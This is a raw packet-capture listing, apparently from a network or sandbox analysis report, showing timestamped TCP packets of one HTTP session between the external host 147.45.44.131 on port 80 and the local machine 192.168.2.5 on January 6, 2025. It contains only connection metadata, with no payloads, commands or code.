Jan 6, 2025 07:59:03.459393024 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459397078 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.459403038 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459413052 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459425926 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.459436893 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.459476948 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459487915 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459496021 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459503889 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.459506035 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459516048 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459522963 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.459541082 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.459604025 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459614992 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459625006 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459634066 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459645033 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459654093 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459661007 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.459666014 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459676981 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.459682941 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459693909 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459702015 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459711075 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.459712982 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459733009 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.459806919 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459816933 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459825993 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459835052 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.459835052 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459847927 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459857941 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459867001 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459872007 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.459881067 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459887981 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.459892988 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459953070 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459963083 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459971905 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459975958 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.459981918 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459991932 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.459997892 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.460004091 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.460012913 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.460016966 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.460021973 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.460031986 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.460041046 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.460041046 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.460061073 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.460072041 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.460087061 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.460175991 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.460185051 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.460194111 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.460201979 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.460205078 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.460216045 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.460226059 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.460237026 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.460247040 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.460247040 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.460257053 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.460269928 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.460283041 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.460311890 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.460321903 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.460330009 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.460340023 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.460350037 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.460359097 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.460367918 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.460376978 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.460377932 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.460387945 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.460390091 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.460397005 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.460423946 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.460449934 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.460460901 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.460475922 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.460555077 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.460565090 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.460573912 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.460582018 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.460583925 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.460592985 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.460597992 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.460602999 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.460613012 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.460617065 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.460623980 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.460633039 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.460649014 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.460654020 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.460664034 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.460673094 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.460684061 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.460692883 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.460704088 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.460714102 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.460717916 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.460730076 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.466551065 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.494489908 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.503360987 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.503418922 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.503431082 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.503443003 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.503454924 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.503468037 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.503478050 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.503480911 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.503489971 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.503492117 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.505222082 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.549475908 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.549489975 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.549499989 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.549531937 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.549550056 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.549561024 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.549571037 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.549576998 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.549582958 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.549592018 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.549607992 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.549716949 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.549727917 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.549738884 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.549742937 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.549748898 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.549758911 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.549762011 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.549776077 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.549784899 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.549787045 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.549796104 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.549798012 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.549806118 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.549814939 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.549818993 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.549850941 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.549860954 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.549870014 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.549877882 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.549877882 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.549887896 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.549896002 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.549906015 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.549910069 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.549917936 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.549928904 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.549933910 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.549937010 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.549947977 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.549951077 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.549957037 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.549966097 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.549974918 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.549990892 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.550004005 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550014019 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550023079 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550024033 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.550034046 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550048113 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550049067 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.550096035 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550107002 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550116062 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550123930 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.550124884 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550137043 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550153017 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.550153017 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.550154924 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550163984 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550174952 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550174952 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.550200939 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.550244093 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550255060 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550262928 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550272942 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550282001 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550288916 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.550292015 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550299883 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.550390959 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550401926 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550410986 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550419092 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.550420046 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550431013 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550431967 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.550441027 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550441980 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.550451040 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550461054 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550467968 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.550542116 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.550548077 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550558090 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550566912 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550576925 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550587893 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550590992 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.550599098 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550609112 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550611973 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.550618887 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550621033 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.550633907 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550657988 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.550662994 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550672054 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550679922 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550687075 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.550689936 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550700903 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550704956 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.550712109 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550721884 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.550724030 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550744057 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.550795078 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550805092 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550813913 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550834894 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.550901890 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550913095 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550923109 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550924063 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.550931931 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550945044 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550955057 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550961971 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.550966024 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550975084 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.550983906 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.551003933 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.551003933 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.551054001 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.551063061 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.551070929 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.551079988 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.551090002 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.551095009 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.551099062 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.551109076 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.551114082 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.551119089 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.551129103 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.551137924 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.551146984 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.551151991 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.551151991 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.551157951 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.551173925 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.551201105 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.551218033 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.551227093 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.551228046 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.551238060 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.551248074 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.551251888 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.551258087 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.551266909 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.551278114 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.551280022 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.551286936 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.551291943 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.551297903 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.551307917 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.552073956 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.552073956 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.593987942 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.594006062 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.594018936 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.594032049 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.594043016 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.594055891 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.594065905 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.594068050 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.594080925 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.594095945 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.594136000 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.640089035 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640115976 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640135050 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640147924 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640160084 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640171051 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640175104 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.640196085 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640207052 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640218019 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640224934 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.640230894 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640248060 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.640252113 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640269041 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640270948 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.640280008 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640297890 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640310049 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640316010 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.640321016 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640332937 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640341043 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.640343904 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640350103 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.640356064 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640366077 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640377998 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640383959 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.640388966 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640400887 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640410900 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.640424967 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.640431881 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640444994 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640454054 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640465975 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640475988 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640486956 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640497923 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640538931 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640551090 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640561104 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640567064 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.640573025 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640588999 CET	80	49706	147.45.44.131	192.168.2.5
